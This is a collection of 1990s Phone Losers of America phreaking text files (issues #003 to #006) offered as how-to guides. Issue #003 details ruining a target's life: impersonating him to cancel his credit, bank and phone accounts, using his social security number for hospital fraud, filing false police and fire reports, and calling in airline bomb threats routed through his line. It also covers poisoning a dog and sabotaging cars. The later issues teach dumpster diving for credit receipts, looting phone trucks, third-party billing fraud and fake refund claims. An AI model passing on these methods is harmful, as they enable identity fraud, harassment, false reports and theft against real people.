6."I wish I could go over there right now and strangle that kid." -I overheard an operator in Seattle say this to her supervisor after they  thought I had hung up the phone.

7."Okay, hold on while I turn you in to security." - Indianapolis, Indiana (What are they going to do, arrest me over the phone??)

If you have any questions about your wonderful, new hobby or you're having any kind of troubles, feel free to contact me, RedBoxChiliPepper, via voicemail:

Contact The Phone Losers Of America Nearest You!

Voice:

512-703-8910 PLA Voicemail System

314-995-1261 Zak's VMB System

Data:

618-797-2339 PLA BBS Illinois Line

512-883-7543 PLA BBS Texas Line

512-851-8317 Sonic Youth Systems

U.S. Mailing Address

Phone Losers Of America

P.O. Box

Corpus Christi, TX 78463

FTP Site:  FTP.FC.NET directory pub\deadkat\incoming\PLA  (Thanks to Disorder & Deadkat!)

E-Mail:

Internet: rbcp@big12.metrobbs.com (To contact RedBoxChiliPepper)

cactus@basenet.net (To contact Zak a.k.a. el_jefe)

collcard@big12.metrobbs.com (To contact Colleen Card)

Issue #003

Ruining Someone's Life (Getting Even)

Written On August 9, 1992 -  Last Revision on October 23, 1994

Revenge and getting even have always been my most favorite things to do even way back in grade school so, of course, I have a very extensive mental  list on how to really get back at people and make their life a living hell. We all have people we hate and would like to see 'em suffer for a little while. Maybe your boss for firing you or giving you shitty hours? The big guy in school who's always giving you a hard time? Your girlfriend for dumping you so she can become a lesbian? You get the idea. In my explanations I'll use the sample name "Chris Tomkinson" as the guy we're going to cactus. A totally random name, of course.

Now if you decide to try all these methods at once you'll probably drive him totally insane and over the edge of reality. Besides, you don't want to send him a billion magazines at the same time you've forwarded all of his mail to Africa so get your timing right so you can effectively drive him crazy. A lot of my ideas focus on humiliating him with friends and family. When you can get other people to hate him for things you're doing to him, that means you're getting good at what you do.

Some of the things described in here require you to know a little more information on your victim than you would usually know. Try reading the file called PLA019.TXT on ways to obtain priviledged information.

Cancel His Membership:

A video card is something that almost everyone has and uses frequently. Get your yellow pages out and call up every video store you can find. When they answer throw them a line like, "Hi, this is Chris Tomkinson. My video cards were stolen today and I wanted you to cancel my membership there. It turns out we're moving out of state forever next month anyway so I'll never be in there again anyway."

When they hear that someone's stolen your card, of course they'll cancel it right away. When you tell them you're going out of town for good, there's really no reason for them to keep your name in the computer so they just completely delete you. When Chris goes in the store to check out a movie, his name won't show up anywhere as if he never even had a membership there and he has to apply for a card again, which is, in my opinion, a pain in the ass.

Make sure to call up all the video stores. If you want to be really mean, you can cancel his mom and dad's cards too. That way he won't be able to use theirs' either. If he's the type of person to use the library alot, call the library and cancel his card there, too.

Cancel His Credit Cards:

There's an 800 number for just about every credit card out there that you can use to cancel your card if it's lost or stolen. Within a few minutes of calling this number, their credit cards will be useless. Just make up a story like, "Yeah, I'm on vacation here in Seattle and my whole wallet was stolen with my Mastercard in it. Could you cancel that before someone uses it?" Pretend to be really worried about having to pay for charges you didn't make and so on.

They might want some extra information like the name of the bank which issued  your card. You can guess or tell them you have no idea. (Unless you actually know which bank it is.) The Mastercard dude will want your driver's license number or social security number sometimes, but tell him you don't know either one because your wallet was stolen, dammit!

To cancel your Visa, call         1-800-336-8472

To cancel your Mastercard,        1-800-999-0454

For Discover,                     1-800-347-2683

If you know of any gas cards he uses, get the numbers to cancel those, too. There's nothing more embarrassing that filling up your tank with super unleaded gasoline and finding out that all your credit cards, gas cards and ATM card have been mysteriously reported stolen. Who knows, the clerk might even call the police on him.

Cancel His Phone Cards:

Again, the exact same proceedure. Say you're on vacation and all your calling cards were stolen. All they'll ask for is your home phone number and the cards are usually disconnected within four hours. Tell the lady that you really never use that card anyway so there's no need to issue a new one. This way, Chris won't know his cards are bad until he needs to use them.

U.S.Sprint       1-800-877-4646

AT&T             1-800-662-6214

M.C.I.           1-800-950-5555

Newspaper Classifieds:

Almost every newspaper out there lets you call in the ad you want to have in the paper and then they send you a bill for it. In other words, it's free.  Look in your local paper and judging from the ads that are in there, think up something that would be a really hot item to sell such as a house for rent. (Houses and cars usually get the best results.)

Call the paper and tell them that you're Chris Tomkinson and you want to put an ad in the paper. Have something ready like, "Nice 3 bedroom, 2 bath, garage, den, dining room, great neighborhood, $300/month, $200/deposit." Compare your ad to the others in the "For Rent" section and be sure that yours is the very best deal in there.

As a phone number to call to inquire about the house, leave two. "Call Chris Tomkinson anytime 24 hrs at 635-8312 or 635-9207." The first being his work phone number and the second being his home. Now when an awesome deal like you've put in the paper is seen, it gets a tremendous response. I'm talkin' about his telephone ringing constantly for two days straight at the least.

He'll get in BIG trouble with his boss at work for recieving 2 billion calls. Even if he's able to convince his boss that he wasn't responsible, he'll still look bad. I mean, what would YOUR boss think about all this happening? If he lives with his parents, he'll probably get in trouble with them too.

Messing With His Phone Service:

My all time favorite, disconnecting his service. First, call the billing office and have his line password protected. This means that anyone wanting to make any changes in his service will have to give the operator a password that you'll choose. Sometimes the operator will want to call back and verify that it's really Chris. Tell her that you're never home when they're open and she'll say "no problem" and ask for his social security number. If you know it, give it to her. If not, go crawl under something and die or go to the next step.

A few days after you've password protected the line, call the billing office again and tell them that you've moved out of the house already and you need the phone disconnected. They'll ask you for the password and disconnect the service, asking where you want the last bill sent to. Give them an address out of state.

Now after Chris's line goes dead he's going to have one hell of a time convincing the billing office to hook it back up because you've password protected his line. He really has no way of proving that he is who he says he is because he doesn't have that password. You do.

Harrassing Other People:

You can really get people annoyed at Chris if you call them up about five times a day, state his name and hang up. You can do this to his employer, his school, his friends, his family, anyone he knows, even the police station or businesses that he goes to often.

In your spare time when you're bored, pull out your list of phone numbers related to Chris, dial one at random and when the person on the other end answers say, "Chris Tomkinson", listen for the reply and hang up. Pretty soon people are going to start to despise that name.

If you know of a store that Chris shops at frequently and writes checks at, call that store a few times a day and say his name. The clerk will immediately recognize his name when Chris writes him a check and will probably ask him about it. And I know his boss would get annoyed at ten calls a day that simply state Chris's name and hang up. Pretty soon Chris's boss is going to be sorry he hired him.

Police Blotter:

Check your newspaper's police blotter and front page every night for a major theft that's occured in the neighborhood. Something like, car stereos being stolen or maybe a school being broken into and computer equipment being stolen.

Call the police station from a pay phone. "Hello, I want to make an annonymous call about the theft the other night involving the car stereo. Uh, I know who the guy is and he's been stealing car stereos and radar detectors ever since I've known him. I'm just starting to feel sorry for the people he's ripping off and want you to stop him but I don't want him to know who I am or he'll beat me up." Sound really whiney and nervous, "His name is Chris Tomkinson and he lives at (wherever). He keeps all the stuff he steals either hidden in his closet or hooked up in his room and most of it all still has the serial numbers on them..."

You get the idea. The police will want to move in on this horrible criminal and will probably get a search warrant so they can look for evidence. I did this to one guy and they didn't get a warrant but the kid's mom just let them in his room while he was at school. They ripped his room apart looking for stolen stereo equipment and didn't find anything. They created quite a mess from what I heard, though.

The Yellow Pages:

This is probably one of the best things to do and can even become a major news event in your area. You pull out the 'ole phone book and open it up to the yellow pages. Now, starting from the letter "A" and working all the way to "Z" call up every single business in the book. Set up an appointment with every company in there for (example) Wednesday morning at about 10:00. Give yourself a few days to do it all and get all the appointment as close together as you can.

You can probably see what's going to happen. Wednesday morning at 10:00 his street is going to be totally filled up with a truck from every business in the entire area. From exterminators to furnace repair to roofing estimates, they'll all be there asking for Chris. (Try to make sure he's going to be home when they come.)

On Wednesday morning you'll want to make some calls. At 9:30 call up every pizza delivery place in the area and have a couple large pizzas sent to Chris. After that, call up all the taxi cabs and instruct them to come to your house to take you shopping.

Tuesday night you'll also want to make some calls. Every T.V. station and newspaper in the area will want to know that "something big is going to happen on Sullivan street" in the morning. Don't tell them what, just tell them that they'd be stupid not to get coverage on something like this. Also call up all your friends and have them call up their friends. Instruct them all to show up on Sullivan street at about 9:45 am.

As this will be an historical moment, bring a video camera and tape the whole event just in case you're not happy with the camera work of the T.V. stations. You might want to call in a false report to the fire department that Chris's house is on fire just to get them there and add to the confusion.

I have done this only on a much smaller scale. I skimmed through the yellow pages and pick out about 30 business to show up at a victim's house and did the pizza a fire truck thing but the media never got involved. There was quite a traffic jam on his street with just those few trucks there and I can imagine what it would look like with 10 times more and a camera crew.

Magazine Subscriptions:

The time-honored tradition of giving Chris a subscription to every magazine that was ever made. Go to your library and rip out those little subscription cards out of each one. If a librarian asks you what the hell your doing tell her to go piss up a flagpole and continue your task.

Now take this big stack of cards home and fill them all out in Chris's name and send them in. Almost every one of the cards will already have the postage paid for so you won't have to worry about the cost of stamps.

Now me, I could care less if someone did that to me. I would get a little pissed off, though, if someone were to use my name on the subscription cards and send them to my friends or employers. So try this. He'll get a couple issues of each magazine until they get pissed off that he's not paying for them and stop his subscription. For a few months after that they'll harass him about paying for the magazines he ordered but he won't get into any kind of trouble because of it.

Some magazines let you use a credit card to pay for the subscription. Use someone else's card and when the owner of the card gets his bill, they'll investigate it and eventually narrow it down to Chris's address.

Ruin His Credit:

Drive to a city where nobody will know you or Chris. Check yourself into a hospital emergency room complaining of sudden chest pains and really severe headaches. Before they're able to treat you they'll have you fill out a few hospital forms. Put your name in there as Chris Tomkinson and use his social security number, address and phone number. If you can, try to forge his signature if you know what it looks like.

They'll look you over, maybe take a blood sample, an x-ray or two and they'll tell you your fine. After they've done a lot to you, tell them you're feeling much better and it must have all been in your head. Go home.

In a couple of weeks, the hospital is going to start sending Chris a bill for a couple thousand dollars. (Hospitals are extremely expensive.) They usually send only two notices before they turn the matter over to a collection agency who will call Chris every couple days and ask him why he hasn't paid his bill yet. They'll also threaten to "take legal action" and so on. If Chris tries to explain to them that he never went to that hospital, they'll assume he's lying. They hear that excuse every day.

Collection agencies are full of shit. They can't really do anything to you except send you notices but when you refuse to pay them you're screwing up your credit rating. I know a lot about collection agencies seeing as I never pay my bills. I went to a hospital once for strep throat and they bothered me about it for two years after that.

Hit And Run:

Just like the police blotter deal, find someone who is a victim of a hit and run. Call the person or the police and make an annonymous report that you were there when it happened and you saw the license plate on the car. Give them Chris' plate number.

Mail Forwarding:

There's a million little tricks you can play on people with those mail forwarding cards you get at the post office. Here are some ideas.

Forward all of Chris's mail to London, England.

Forward all of Chris's grandparents mail to Chris's house.

Forward all of Chris's mail to his place of employment. His boss will get really irked when Chris starts recieving mail there.

Forward his best friend's mail to Chris's home.

Forward his mail to his school.

Forward his mail to the police station.

Forward his boss's mail to Asia.

Have AT&T Investigate Him:

Using a stolen calling card number, call Chris constantly at his home from a pay phone and keep him on the line as long as you can. Only call Chris with this card. When AT&T sees that he's getting all these fraudulent calls, they'll ask him about it. Just make sure you don't call from your own phone even once or you'll get into trouble. Always use a pay phone.

If possible, use remote call forwarding and forward Chris's number to a number you'd like to call only dial "0" first so you have to enter a calling card. This will make it seem as if the card were used from his home.

Junk Mail:

Add Chris to as many mailing lists as you possibly can. Whenever you see a business advertise, "Free Information!" call them and give them Chris's address and phone number. He'll recieve oodles and oodles of junk mail and they'll always call him trying to sell him something. Get as many companies involved as you can. Pretty soon they'll be delivering his junk mail in a garbage truck!

Gifts:

Everyone loves a gift, even older relatives. Find out the names and addresses of all of Chris's older relatives. Look in the back of a Cosmopolitan or nudie magazines at all the fun, sexual items you can order with a credit card.  Send grandma a vibrator, grandpa a penis extender. Send his girlfriend some kind of sex cream "from Chris" and she'll get mad and break up with him. (Either that or she'll fuck his brains out.) Also, send Chris's parents some items to liven up their sex life and see if they appreciate it.

Oh, and don't forget Chris's boss. He needs to be a member of the Gay Rights Club or maybe needs some instructional videos on sex education. His teachers at school could probably use the same thing. When asked who it's to be sent to, give them his boss's name and tell them to put it "c/o Chris McCall" just to be sure he knows who's responsible.

The Bank Account:

This works the same way that the credit card canceling thing works. Find out which bank Chris uses and call them. Tell them you're away on vacation and your Aunt just informed you that your house had been broken into. The thieves took all of your banking stuff including your checkbooks, savings passbook, and ATM card.

They'll immediately put a "freeze" on his account and he'll have to go through extra steps when he tries to withdraw and money. If he writes a check it probably will bounce and if he tries to use his ATM card the machine will eat it and he won't get it back until he's cleared up things with the bank.

The Church Of Jesus Crust:

They have this handy 800 hotline where you can call in and tell them you'd like to speak to someone about religion. They ask you your address and send in one of their goons to your house to talk to you and start sending you all this religious junk mail. And Chris will probably appreciate the free bible. We all know how persistant and annonying these people can be so give them a call! The phone number is 1-800-952-3131.

Call Forwarding:

Order call forwarding to his line. Then, by whatever means you have to, forward his calls to somebody that you know would trace the call, such as TWA Airlines, The White House, local 911, etc. For this example, let's say we forwarded his calls to TWA which is 1-800-221-2000.

Now constantly call up his number over and over and you'll reach the airlines.  Harrass the reservation lady to death and keep claiming that you've put a bomb on one of their airplanes. Do this over and over and stay on the line for a long time. Pretty soon, they're going to trace the call back to Chris's house and he'll probably get arrested.

Even better would be to beige box into his line and call a lot of different numbers all night and threaten them all. In the morning he'll have accusations coming from all different difrections.

Fun Things To Do To Stupid Neighbors:

This last section of this file was written by someone named Delta Burke. Some of the ideas were so funny and creative that I just had to include them.

This little article is for everyone out there who has a next door neighbor who is, in your mind, the worlds biggest asshole. I have neighbors that fit into  this catergory perfectly. You know the ones, stereo up louder than hell in the middle of the night, water their lawn during a drought, etc... Well take heart, because I have just the answer for such idiots.

1) Next time they go away on vacation, or even for just the weekend, call the utility company, Ma Bell (or whoever the phone co is.), and the cable company.  Using  their  name (obviously), tell  them  to  shut  off  the respective utilities, since your are going on a trip for about a month. Most  of  the  time,  they  wont ask for any other info except for phone number. If they ask for anything else, just hangup quickly and forget it as it isn't too easy to  explain  why  you  dont  know  your  own  social security  number. If all works well (and it usually does), they will come home to a fridge full of bad food, plus no heat or air conditioning and no cable tv and phone. Pretty nice, huh?

2) If they leave on vacation, and you are a hacker/phreak/BBS'er,  here  is your  chance  for  free  phone calls to everywhere! Simply go into their yard and locate their phone box. Using your lineman's phone (or a regular phone with alligator clips instead of a modular plug), find  the  active phone  line  inside the box. Run a shit load of wire back to your house, thru your window, etc... Install a modular plug on your end and plug  it into  your  modem.  Now make all the long distance calls you want. Don't worry, those of your with a heart, the neighbor's wont  get  billed  for the calls after they call Ma Bell and claim that they didnt make them.  Most of the time they will let you off the hook.

3) One  night,  after  the  neighborhood  is  asleep,  sneak over into the target's yard. Proceed to turn on ONE faucet, so that water  is  gushing out  all  over  the  place.  The value of this joke is that the target's water bill will be outrageous after about 3-4 nights of this, especially during drought season.

4) If you have the asshole neighbor who has the stereo on LOUD at all hours and the police wont do shit (what else is new), here is the solution. Sneak into the yard, and find the breakerbox. If the stereo is  up  this loud, they wont hear you in the yard. Locate the switch that matches the room  that  the stereo is in. Or the closest to. Flip the switch and run like hell back to the house. Or if you  are  more  daring,  sit  in  the bushes  or  something and watch them come out. Most of the time, it will take doing this 2-3 times before they turn down the stereo.But its worth it when you have to sleep.

5) Do your neighbor's have a barking dog? If so, heres the solution.

A) Call the pound repeatedly, using another neighbor's name and address, but your number. Call at least twice a  night  for  about  a  week.  The complaints  will stack up, and the target's will most likely have to pay a healthy fine.

B) Get a package of hot dogs and  any  kind  of  medicine  that  induces shitting,  like  Exlax(you  will  have to melt it down). Pour the secret agent shit inducing substance on the hot dogs, then toss them  over  the fence to the dog. If it is a small dog, I suggest throwing one at a time as  little  dogs don't eat as much as big dogs. Spot or Fido or whatever the hell his name is will be shitting EVERYWHERE for days. Loads of  fun for the target.

6) Kill  their  lawn.  This can be achieved with any kind of poison, paint thinner, or even piss. Simply pour as much of the stuff as you can all over�the lawn and wait a few days to a week. Lovely brown spots  will  start  to show. Nice effect. Try writing words with paint thinner.

7) Do they have a CB radio that interferes with your tv?  Use  the old standby. When they are not home, sneak over and shove large straight pins into the coaxial cable  to  the  antenna.  Next  time  Joe Dickhead keys up will be his last time. This easy trick works due to the fact  that  it  shorts the cable together. When he keys up, it will blow the CB right off the table.

8) Do they park in your driveway or in  front  of  it?  My  neighbors  have teenage  kids  who  have  teenage  friends  who  parked  in front of the driveway. I fixed that by taking some large nails (about 4  inches  long)  and  placed  them  on each side of their tires at a 45 degree angle. Two per side, heads on pavement, points  to  tires.  When  they  drive  off, instant  flats  on  all  four  tires.  Try to get them to not park there asking  first. If they don't care to listen, then use the nail trick.

9) Other easy and annoying tricks:

Use JB Weld or any other metal weld substance on their mailbox door.

Unscrew all the light bulbs on the outside of their house just enough so they won't light.

If they have an annoying cat, capture it and take it about 10 miles away from where you live and let it go.

Get some cow or horse shit and place it in a large paper bag.  Place  on porch and light on fire. Then ring door bell.

If they have a hot tub or pool, get some goldfish and place them in it.

If you can get some lake or river fish, they work even better.

Place  small rocks inside the hubcaps on their most used car. The effect is awesome. They will go crazy from the sound.

If you get into their car, place a heavy guage jumper wire from the horn�to the brake switch behind the pedal. The result  is  the  horn  honking everytime they step on the brake pedal. A sure fire winner.

If  you are daring, capture a skunk and let it loose in their yard. Just think about the fun this one can make.

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #004

Trashing & Looting Bell Trucks

Written On July 23, 1993 - Last Revision on July 12, 1994

Trashing:

While it may not seem very appealing to go digging around in grimey dumpsters, it actually gets some really great results if you know what to look for. In the past I've gotten phone company "how-to" manuals, newsletters, credit card receipts, obsecure phone numbers, a whole shitload of phone company personell  records, and other useful items.

So next time you're bored at night, all the bbses are busy and you have  nothing better to do, get some old clothes on, grab a flashlight, sneak out of the house and head for the nearest dumpster. You may be happy with what you find. Here's some basic information that I feel would be important for the novice trasher:

Checklist of What To Bring:

[] Old jeans, old shirt, old shoes, preferably all dark.

[] A flashlight or lighter.

[] Small gym bag to put items in.

Checklist of What Not To Bring:

[] Your mother or father. (Or any family member)

[] Your laptop computer

[] A gun and/or ski mask

[] A cactus

What To Look For:

Start from one side of the dumpster and kind of work your way over to the other side looking at everything you encounter and for pete's sake, don't throw the stuff you don't want out of the dumpster as that might look suspicious if a cop drove by.

Keep your bag by you and try not to bury it in the rubbish. If you're in a phone company dumpster, you usually don't have to worry about stepping in anything disgusting since their dumpsters seem to only have paper in them. Look for anything that appeals to you-- pieces of paper with phone numbers or passwords written on them, receipts (especially for credit cards), company records, phone bills, anything that you think you shouldn't have, take it

Where To Trash:

Trashing can be done just about anywhere and the rewards vary wherever you go. In some places such as phone company dumpsters, look out for surveilence cameras. If they see you in the dumpster they'll call the cops on you.

* Video Stores (Get account information to check out videos with other people's accounts. Also maybe a computer dialup number.)

* Conveinence Stores (Every few months most of them throw away huge boxes of credit card receipts.)

* Cellular Dealerships (Lodes of information.)

* Phone Company Buildings (Endless possibilities.)

* Residents (By stealing your neighbor's trash you can learn a lot about them. Handy for blackmail purposes and ruining lives.)

* Coffee Shops (FREE coffee grinds and wet paper!!!)

What If...

If a cop somehow sees you in there and asks you to explain yourself, tell him you're looking for alluminum cans or other recycleable material. If you live in a more populated area and look scroungy enough, tell him you're homeless and looking for food. That way you won't have to give any I.D. either. One thing I've done a few times is bring a small trash bag of crushed soda cans with me to back up my story of looking for aluminum cans.

If you're happily looking through a bunch of secret stuff and the garbage truck shows up and starts lifting the dumpster in the air, you're basically fucked. You'll land in the back of his truck and probably be crushed to death and nobody will ever find your body. This has never happened to me yet, but I've always been paranoid that it would.

Tips:

Bring a friend and a couple of 2-way radios. Have the friend sit somewhere out of sight and if a cop or anyone comes near the dumpster, he can radio you to sit tight and shut up until their gone.

It probably wouldn't be a good idea to go trashing in the middle of the day. For one thing, employees are constantly comming out to throw trash in the dumpster and that could get pretty messy for you. Also, you're more likely to be seen in the daytime. So stick to nights and you should do okay.

Phone companies usually lock their dumpsters. (Go figure) Sometimes it's merely a chain and lock over the top of the dumpster which does no good since you can just jump on the plastic lid and fall right into the dumpster.  (Getting out is another story.) If you get caught by the wrong cop, he can take you in and you could get charged with trespassing so be careful and don't get caught.

"Sorry, sir, we were just trying to find some wire for our science fair project, but as there appears to be nothing here but coffee grounds and cigarette ashes, we had better get going. Have a nice day!"  -Karl Marx

Bell Truck Looting:

As common as Bell truck looting is, you'd think that they'd have the sense to lock their trucks, especially at night time but they always seem to leave at least one of their compartments open. By looting Bell & GTE trucks, you can obtain all kinds of neat stuff like Bell hard hats, tool belts, lineman hand sets, lots of useless documents and all kinds of cool Bell devices that you have abolutely no use for. It's just cool to "own" Bell stuff, ya know?

You can either loot a truck at night when all the trucks are parked for the night or you can do it in the middle of the day while a truck is parked somewhere while the Bell dude is inside someplace doing some work.

Ordering A Bell Truck Yourself:

An interesting idea by Zak was to call in some kind of fake order for a business and wait around for the Bell truck to show up. When the truck got there and the guy went inside, it's yours!

Call up the Bell repair center or billing office and arrange for them to come to a business of your choice. Try and get a specific time for them to be there (like between 12 noon and 3pm) so you don't have to wait for them all day from 9am to 5pm. Write down when they'll be there.

Now call up the business you ordered repair for and tell them that a Bell representative will be stopping by tomorrow at (whenever) to check out the lines. Hang around the business until your truck gets there and when he does, have a friend go inside and wander around, keeping an eye on the Bell guy while keeping in touch with you on a 2-way radio so he can warn you if he's coming out. Meanwhile, you'll be looting the truck.

Nighttime Looting:

Looting a truck at night is probably the most common. Find the Bell building, go there at night and start checking the trucks for unlocked compartments. Like I said, there's always a few of them open. Ask Zak, he knows. It'd probably be a good idea to carry your handy police scanner with you so you'll know if someone spots you and calls the police.

In some of the bigger cities the Bell buildings have night rent-a-cops, so watch out for those guys. You never know what they'll pull. They might say, "I've told you a million times not to loot my Bell trucks so I have no alternative but to tell you once again not to loot my Bell trucks!"

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #005

How To Bill All Of your Fone Calls To Some Poor, Unsuspecting Son Of A Bitch

Written On July 7, 1993 - Last Revision on May 13, 1995

So there I was stranded in Miami with a broken red box in one hand and an outdated list of calling card numbers in the other hand. Just as I was about ready to jump to my death in the ocean because I couldn't call my friends, I got an idea. Third-party bill my calls to random names in the phone book!

Of course, I started out using this method on pay phones which is a pain in the ass because the operator wants to call up the number you're billing to and make sure it's okay with them first. So here's your detailed instructions for simplified third-party billing. Oh, and by the way, in no way am I claiming to be the elite guy who "discovered" third party. I mean, come on, third party billing's been around forever and some guy said I shouldn't take credit for something that's been done forever. I'm just trying to explain how easy it is.  Sheesh, some people! Cactus.

Finding A Number To Use:

First of all, if you're going to be calling from home, it's best to charge the calls to a different area code than your own. Sure, a local number will work but when the people get their phone bill and see a local number on it, they'll most likely call it to find out what it is. When they see a long distance number they think "Goodness gracious! If I call that number my phone bill will even be higher." Even if they do call you, you can just play ignorant and if they're far away they probably won't come looking for you.

Pick a city, any city. The city should be far away in another state. Now dial local information and ask for the area code to your city. Let's say you picked Waverly, Iowa. The area code is 319. Now dial 1-319-555-1212 to call Waverly Directory Assisstance. The charge for this call should only be about sixty cents.

Now think of a very common last name like Smith, Lawrence, Conner, Mitchell, Shlappenheimerwinthrop, etc. You get the idea.

OPER: Directory Assisstance, Betty. What city, please?

YOU: Waverly.

OPER: Go ahead.

YOU: I need the number of a last name Conner.

OPER: (type, type, type) Okay I have two Conners listed. A Bob and an  initial H.

YOU: Bob, yeah that's it. Definately Bob. Bob it is. Gimmie Bob. Yeah, Bob.

OPER: The number is 452-0357.

So that's the number you'll bill to. 319-452-0357. Of course if you're planning to do this extensively you'll need many more numbers to pick from. That's when you call up the phone company and ask for a phone book to be delivered to you so you'll have a whole list of numbers to choose from. A normal book will cost about $7.00 or so. If you know how to do it right, it won't cost you anything but I won't get into that. The phone book will pay for itself after about 3 or 4 long distance calls.

Exchange List:

If you don't want to go through all the trouble of doing the above, here's a list of exchanges you can pick from. I'm including the area code and prefix. You just make up four numbers after that at random.

618-254-xxxx 409-744-xxxx 213-962-xxxx 505-398-xxxx

318-981-xxxx 314-231-xxxx 513-741-xxxx 503-255-xxxx

803-254-xxxx 319-452-xxxx 618-377-xxxx 512-441-xxxx

Making The Call:

Pretty easy. Dial 0-AREA CODE-NUMBER. You'll hear a cool Bell tone and the automated voice will ask you to enter your card number. Press "0" to skip that part. Recently, they came out with automated third number billing so you don't have to deal with a live operator anymore. Isn't technology great?! The automated voice will ask you to "say" how you want to bill your call. Just say, "third number" and it'll ask you to touch tone in the number you want to charge it to. Dial 319-452-0357 and presto, your call is completed.

If you get a live operator instead say, "I'd like to charge this to my home telephone in Waverly, Iowa, the Turnip capitol of the world." and follow the same proceedure.

Some of the more intelligent people (about 2%) put a third-number block on their line. If this happens the recording will say, "This call cannot be billed to this number." Solution? Hang up, redial the number and try billing it to a different number or just transpose a couple of the numbers you just tried.

If you don't have AT&T as your long distance carrier, dial 10288-0-NUMBER.

Calling From A Pay Phone:

As I mentioned before, doing it from a pay phone is a little harder but still works. The operator will want to call the person you're billing to a verify with them that it's okay to bill it there.

The trick is to open the phone book at the pay phone and pick a number at random. Look for an old person's name because they're the most gullible but anyone will do. Let's say you picked Christian Slater 213-962-7142. Dial your number as 0-AREA CODE-NUMBER and hit "0" after the tone.

OPER: AT&T, How may I help you?

YOU: I want to charge this to my home phone.

OPER: Will someone be there to accept the charges?

YOU: Who wants to know?

OPER: Me.

YOU: Okay, then, tough guy.

OPER: What is your name?

YOU: Christian Slater, you may have heard of me.

OPER: (dials 213-962-7142. A lady answers the phone. Probably Slater's wife.)

LADY: Hello?

OPER: Hello, this is AT&T. Christian is making a call from a public phone and wishes to bill the call to you. Will you accept the charges?

LADY: Oh, yeah, okay. I'll accept.

And the operator thanks you and puts your call through. As long as you don't get any of the following responses you should be okay:

"Huh? But I'M Christian Slater."

"Calling from a pay phone?? But he's right here with me watching Cheers!?"

"Christian died last week."

"No Hablo Engles??"

A Few Extra Notes:

Sometimes if the no one is home at the number you're trying to bill to, you can convince the operator that it's really you're number if you know what the answering machine message is going to say and if you can do an impression of their voice on the machine. Even a bad impression will sometimes work.

When doing this from home, try not to use the same number more than two or three times so the owner of the number will be less likely to investigate.

I've experienced third-party billing from both sides. Someone charged forty dollars worth of calls to my dad's phone and the operators were very unhelpful and unfriendly. They refused to investigate even though it was coming from a residential line and it took two months to get the charges removed. This was back in 1990 but I've been doing this for a few years now and people don't seem to care too much at a few calls totaling to under ten bucks. I've actually called the people I used and asked them about it and they almost always blow it off as a "minor nusience."

AT&T is completely automated from your home and the best to use. U.S.Sprint is the second best because they're not automated but they also don't call and verify. M.C.I. sucks because they're losers who verify no matter what so don't use them. To choose your company, before you dial the number dial 10288 for AT&T or 10333 for U.S. Sprint.

International calls will be verified no matter what from pay phone or home. Hope this file benefits everyone who reads it. It'll sure cut your long distance bill down a lot.

May 13, 1995 Update:

Well, it seems that AT&T are finally waking up to this problem of third party billing...On my local phone bill I was backbilled for $175 worth of third party calls. The kicker part is that I called the phone company and complained that there were all these extra charges on my bill that I know nothing about and they were more than happy to take the charges off. A few weeks later, I got a letter from AT&T concerning some more charges...

Dear Customer,

We are sending you this letter to advise you of the long distance calls we have billed your account. The amount is $53.70, excluding taxes. These long distance calls have been investigated by our Message Analysis Center and were determined to be your responsibility. A list of these calls will appear on a future bill.  If you would like to discuss this matter, please contact our office toll-free at 1-800-522-2157, ext. 4737. Our ofice hours are Moday through Friday between the hours of 8 a.m. and 3:30 p.m. Eastern Standard Time.

Sincerely,

Dawn Brooks

Investigator

I've yet to hear anything more about this but I plan to just ignore the extra charges on the bill and complain to the phone company and hopefully I won't have to pay. If I do, oh well, it's only fifty bucks.

Another recent happening is that two people I know have been back billed. Martini from Illinois was charged $75 on her bill. "I don't understand what this third number means, sir, I only have two lines!" Also, an idiot in Oregon was back billed because he had the intelligence to bill to the exact same  number every single time. Worse yet, the number was in Canada and it was a non-working number and the last four digits were 1234. What a cool guy!

Operator Diverting:

A new safe way to get around being back billed is to operator divert before you get AT&T. It's a pain in the ass and takes a little longer, but it works if you really need to call from home and don't have any other way.

Dial "0" and ask that operator to dial 1-800-225-5288 for you. (AT&T) Tell the AT&T operator that you want to place a 3rd party billed call. She'll ask what number you're calling from and you give her the number of somebody that you don't like so it'll come back on them and not you. Whatever you do, don't give her your real phone number.

Contact The Phone Losers Of America Nearest You!

Voice:

512-370-4680 PLA Voicemail System

314-995-1261 Zak's VMB System

Data:

618-797-2339 PLA BBS Illinois Line

512-883-7543 PLA BBS Texas Line

512-851-8317 Sonic Youth Systems

U.S. Mailing Address:

Phone Losers Of America

P.O. Box 3642

Corpus Christi, TX 78463

FTP Site: FTP.FC.NET

directory pub\deadkat\phreaking\PLA

(Thanks to Disorder & Deadkat!)

E-Mail:

Internet: rbcp@big12.metrobbs.com (To contact RBCP or Colleen Card)

cactus@basenet.net (To contact Zak a.k.a. el_jefe)

MajorNet: RedBoxChiliPepper@MMN (Guess)

Issue #006

Totally Free Cash In The Mail From AT&T!

Written On February 23, 1993 - Last Revision On December 27, 1994

Are you jobless? Need a little extra cash for the weekend? Have a girlfriend that spends all of your money?  Well, AT&T operators are always more than happy to mail you a check or two for a good five bucks each. If you've ever called up the operator and tried to convince her that you lost your quarter then you know that they hardly ever put the call through for you. They'll always send you a check in the mail for 25 cents.

Well, this method also works on long distance and international calls just as well. A long distance call can run you up to $2.75 and I think the most expensive international call I've found is $9.65. If you tell the operator you lost all this money, she'll happily refund your money. Here's how the conversation usually goes with me:

You go to a pay phone. It HAS to be a pay phone, they're not THAT stupid.  I dial the numbers 102880 which gives me the AT&T operator. (For those of you with short memories, dial 10ATT0.)

THEM: "AT&T, this is Mrs. Papshmeer, how may I help you?"

YOU: "Yeah, I was making an international call using my spare pocket change that I stole by breaking open a Pepsi machine on 86th Street and the phone went dead and kept all my money. Could you try the call for me?"

THEM: "I'm really sorry about that, sir. Our policy won't let me put the call through for you but I can refund the money to you in the mail."

YOU: "Okay, I guess I can do that, then."

THEM: "Alright how much money did you lose?"

YOU: "Um...$5.65."

THEM: "What happened when you placed this call?"

YOU: "Well, I dialed the number and the operator had me deposit $3.00 of my money. Then my party answered and she had me deposit the other $2.65.  As soon as I put in the rest of my money the phone went completely dead."

